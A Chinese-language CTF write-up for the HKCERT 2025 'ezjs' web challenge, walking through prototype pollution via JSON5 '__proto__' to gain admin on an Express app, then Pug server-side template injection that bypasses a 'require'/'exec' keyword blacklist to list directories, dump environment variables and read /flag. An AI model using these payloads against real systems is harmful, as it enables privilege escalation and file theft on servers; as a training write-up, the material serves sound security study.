【CTF-WEB】原型链污染及Pug模板注入

题目

题目来源:HKCERT CTF 2025(Qualifying Round) 國際組

题目名称:ezjs

靶场网址:http://web-a30a7b2fcf.challenge.xctf.org.cn:80/

附件文件:app.js

javascript 复制代码
const expres=require('express')
const JSON5 = require('json5');
const bodyParser = require('body-parser')
const pugjs=require('pug')
const session = require('express-session')
const rand = require('string-random')
var cookieParser = require('cookie-parser');
const SECRET = rand(32, '0123456789abcdef')

const port=80
const app=expres()

app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json())
app.use(session({
    secret: SECRET,
    resave: false,
    saveUninitialized:  true,
    cookie: { maxAge: 3600 * 1000 }
}));
app.use(cookieParser());
function waf(obj, arr){
    let verify = true;

    Object.keys(obj).forEach((key) => {
        if (arr.indexOf(key) > -1) {
            verify = false;
        }
    });
    return verify;
}
app.get('/',(req,res)=>{
    res.send('hey bro!')
})

app.post('/login',(req,res)=>{
    let userinfo=JSON.stringify(req.body)
    const user = JSON5.parse(userinfo)
    if (waf(user, ['admin'])) {
        req.session.user  = user
        if(req. session.user.admin==true){
            req.session.user='admin'
            res.send('hello,admin')
        }
        else{
            res.send('hello,guest')
        }
    }
    else {
        res.send('login error!')
    }
})

app.post('/render',(req,res)=>{
    if (req.session.user === 'admin'){
    
        var word = req.body.word
        
        const blacklist = ['require', 'exec']
        let isBlocked = false
        
        if (word) {
            for (let keyword of blacklist) {
                if (word.toLowerCase().includes(keyword.toLowerCase())) {
                    isBlocked = true
                    break
                }
            }
        }
        
        if (isBlocked) {
            res.send('Blocked:  dangerous keywords detected!')
        } else {
            var hello='welcome '+ word
            res.send (pugjs.render(hello))
        }
    }
    else{
        res.send('you are not admin')
    }
})

app.listen(port, () => {
    console.log(`Example app listening on port ${port}`)
})

package.json

javascript 复制代码
{
  "name": "shabby_website",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "Rieß",
  "license": "ISC",
  "dependencies": {
    "body-parser": "^1.20.2",
    "cookie-parser": "^1.4.6",
    "express": "^4.18.1",
    "express-session": "^1.17.3",
    "json5": "2.2.1",
    "string-random": "^0.1.3",
    "pug": "^3.0.2"
  }
}

直接访问靶场

hey bro!

打开APIPOST访问看一下

观察app.js代码,发现post格式的登录请求url,访问一下

javascript 复制代码
app.post('/login',(req,res)=>{......})

hello,guest

原型链污染

javascript 复制代码
app.post('/login',(req,res)=>{
    let userinfo=JSON.stringify(req.body)
    const user = JSON5.parse(userinfo)
    if (waf(user, ['admin'])) {
        req.session.user  = user
        if(req. session.user.admin==true){
            req.session.user='admin'
            res.send('hello,admin')
        }
        else{
            res.send('hello,guest')
        }
    }
    else {
        res.send('login error!')
    }
})

这段代码是一个Node.js Express应用的登录接口,存在严重的安全漏洞(原型链污染)。让我详细解析:

代码功能解析

1. 路由定义

javascript 复制代码
app.post('/login', (req, res) => { ... })
  • 处理POST请求到/login路径
  • 接收用户名密码等登录数据

2. 数据处理

javascript 复制代码
let userinfo = JSON.stringify(req.body)
const user = JSON5.parse(userinfo)
  • JSON5.parse:使用JSON5解析器(比标准JSON更宽松)
  • 关键漏洞:JSON5支持__proto__这个特殊属性名

3. WAF检查(有漏洞)

javascript 复制代码
if (waf(user, ['admin'])) { ... }
  • WAF只检查顶层键名是否包含'admin'
  • 但攻击者可以通过__proto__绕过

4. 会话处理和权限检查

javascript 复制代码
req.session.user = user
if (req.session.user.admin == true) {  // 注意:这里有问题
    req.session.user = 'admin'
    res.send('hello,admin')
}
  • 将用户数据存入session
  • 检查admin属性是否为true
  • 注意使用==而不是===(类型转换可能被利用)

关键安全漏洞

原型链污染攻击示例

攻击者可以发送这样的payload:

json 复制代码
{
    "username": "attacker",
    "__proto__": {
        "admin": true
    }
}

攻击原理:

1. JavaScript 的原型链基础

JavaScript 中有一个特殊的设计:每个对象都有一个隐藏的链接,指向另一个对象 。这个链接叫做 原型(prototype)

javascript 复制代码
// 创建一个普通对象
const person = { name: "Alice" };

// person 的原型是 Object.prototype
// 当我们访问 person.toString() 时:
// 1. 先在 person 对象本身查找 toString 方法
// 2. 没找到 → 去 person.__proto__(即 Object.prototype)中找
// 3. 找到了 Object.prototype.toString 方法

可以用一个简单的图表示:

复制代码
person 对象
├─ name: "Alice"
└─ __proto__: 指向 → Object.prototype
               ├─ toString()
               ├─ hasOwnProperty()
               └─ ...
2. __proto__ 是什么?

__proto__ 是一个魔法属性,它允许我们直接访问和修改对象的原型链。

javascript 复制代码
const obj1 = {};
const obj2 = { admin: true };

// 把 obj1 的原型指向 obj2
obj1.__proto__ = obj2;

// 现在 obj1 虽然没有 admin 属性,但可以通过原型链访问
console.log(obj1.admin); // true!因为找到了 obj2.admin
3. 为什么 __proto__ 如此危险?
场景1:修改基础对象的原型
javascript 复制代码
// 正常情况
const user = { username: "guest" };
console.log(user.admin); // undefined

// 攻击者污染了 Object.prototype
Object.prototype.admin = true;

// 现在所有对象都有了 admin 属性!
console.log(user.admin); // true!
console.log({}.admin);   // true!
console.log([].admin);   // true!
场景2:通过 JSON5 实现原型污染
javascript 复制代码
// 正常 JSON.parse 不会解析 __proto__
const safe = JSON.parse('{"__proto__": {"admin": true}}');
console.log(safe.__proto__); // { admin: true }(只是普通属性)
console.log({}.admin);       // undefined(没有被污染)

// JSON5.parse 会解析 __proto__
const dangerous = JSON5.parse('{"__proto__": {"admin": true}}');
console.log({}.admin);      // true!所有对象都被污染了!
4. 在代码中如何工作?
javascript 复制代码
// 假设攻击者发送:
{
    "username": "attacker",
    "__proto__": {
        "admin": true
    }
}

// 经过 JSON5.parse 后:
const user = {
    username: "attacker",
    __proto__: { admin: true }  // 注意:这里修改了原型!
}

// 存储到 session
req.session.user = user;  // 现在 req.session.user 的原型被改了

// 检查 admin 属性
if (req.session.user.admin == true) {  
    // user 本身没有 admin 属性 → 去原型链上找
    // 原型链上有 admin: true → 条件成立!
    // 攻击者获得管理员权限!
}
5. 更深入:原型链是如何被污染的?
javascript 复制代码
// 实验:手动创建原型污染
console.log("污染前:", {}.admin); // undefined

// 创建一个污染源
const pollutedSource = {
    __proto__: {
        admin: true,
        isAdmin: function() { return true; }
    }
};

// 将这个对象赋值给另一个对象的原型
const target = {};
target.__proto__ = pollutedSource.__proto__;

// 或者使用 Object.assign
const anotherTarget = {};
Object.assign(anotherTarget.__proto__, pollutedSource.__proto__);

console.log("污染后:", {}.admin); // true!
console.log([].admin);            // true!
console.log("hello".admin);       // true!连字符串都有admin属性了
6. 现实中的攻击案例
案例1:绕过权限检查
javascript 复制代码
// 服务器端代码
function checkPermission(user) {
    if (user.role === 'admin') {  // 从原型链上继承
        return true;
    }
    return false;
}

// 攻击者发送
const maliciousData = {
    "__proto__": {
        "role": "admin"
    }
};

// 所有新创建的用户都会自动变成 admin!
案例2:修改内置方法
javascript 复制代码
// 攻击者污染了 toString 方法
Object.prototype.toString = function() {
    return "HACKED!";
};

// 现在所有对象的 toString 都被修改了
console.log({}.toString()); // "HACKED!"
console.log([1,2,3].toString()); // "HACKED!"

// 可能导致系统崩溃或数据泄露

执行污染获取管理员权限

把{"proto": {"admin": true}}作为body参数对login路径进行post请求

返回得到hello,admin,表明污染成功

此时,我们凭借cookie可以任意访问管理员可以访问的网址

SSTI(服务器端模板注入)

javascript 复制代码
app.post('/render',(req,res)=>{
    if (req.session.user === 'admin'){
    
        var word = req.body.word
        
        const blacklist = ['require', 'exec']
        let isBlocked = false
        
        if (word) {
            for (let keyword of blacklist) {
                if (word.toLowerCase().includes(keyword.toLowerCase())) {
                    isBlocked = true
                    break
                }
            }
        }
        
        if (isBlocked) {
            res.send('Blocked:  dangerous keywords detected!')
        } else {
            var hello='welcome '+ word
            res.send (pugjs.render(hello))
        }
    }
    else{
        res.send('you are not admin')
    }
})

Pug模板注入攻击

  • Pug模板引擎(原名为Jade)
  • 直接渲染用户输入:pugjs.render('welcome ' + word)
  • 黑名单绕过:只过滤了require和exec
javascript 复制代码
var hello='welcome '+ word
res.send (pugjs.render(hello))

漏洞利用测试

将word=#{process.env}作为body参数访问reader路径,得到如下结果

html 复制代码
<welcome>[object Object]</welcome>

这意味着SSTI(模板注入)攻击成功了

  1. SSTI确认成功

    • 你发送了:word= #{process.env}
    • 返回了:<welcome>[object Object]</welcome>
    • 这说明#{process.env}当作Pug/JavaScript代码执行了,而不是普通文本
  2. 环境变量被输出为对象

    • process.env 是一个JavaScript对象(包含所有环境变量)
    • [object Object] 是JavaScript对象转字符串的默认格式
    • 这证明你可以执行任意JavaScript代码!

读取当前目录下的文件

执行参数

javascript 复制代码
#{global.process.mainModule.constructor._load('fs').readdirSync('.')}

返回结果:

html 复制代码
<welcome>app.js,node_modules,package-lock.json,package.json</welcome>

读取环境变量详细信息

执行参数

javascript 复制代码
#{JSON.stringify(process.env)}

返回结果:

html 复制代码
{"USER":"www-data","NODE_VERSION":"18.12.1","HOSTNAME":"ce4ae7d70dd3","YARN_VERSION":"1.22.19","SHLVL":"3","HOME":"/home/www-data","OLDPWD":"/app","LOGNAME":"www-data","TERM":"xterm","PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","SHELL":"/bin/ash","PWD":"/app"}


读取根目录下的文件

执行参数

javascript 复制代码
#{global.process.mainModule.constructor._load('fs').readdirSync('/')}

返回结果:

html 复制代码
.dockerenv,app,bin,dev,etc,flag,home,init.sh,lib,media,mnt,opt,proc,root,run,sbin,srv,sys,tmp,usr,var

读取 /flag 文件

执行参数

javascript 复制代码
#{global.process.mainModule.constructor._load('fs').readFileSync('/flag','utf8')}

返回结果:

html 复制代码
flag{FcawKMoI06bpgM6VbffgwldC5KJcf6Em}
相关推荐
clown_YZ6 小时前
KnightCTF2026--WP
网络安全·逆向·ctf·漏洞利用
给勒布朗上上对抗呀1 天前
文件包含之include-ctfshow-web39
ctf
Pure_White_Sword3 天前
bugku-reverse题目-peter的手机
网络安全·ctf·reverse·逆向工程
缘木之鱼3 天前
CTFshow __Web应用安全与防护 第二章
前端·安全·渗透·ctf·ctfshow
给勒布朗上上对抗呀4 天前
伪随机数实战-ctfshow-web25
ctf
三七吃山漆4 天前
[护网杯 2018]easy_tornado
python·web安全·ctf·tornado
缘木之鱼4 天前
CTFshow __Web应用安全与防护 第一章
前端·安全·渗透·ctf·ctfshow
王解8 天前
game1
学习·ctf
23zhgjx-zgx9 天前
SQL注入攻击分析报告
网络·sql·ctf
给勒布朗上上对抗呀9 天前
XSS实战-Bugku-zombie-10
ctf·xss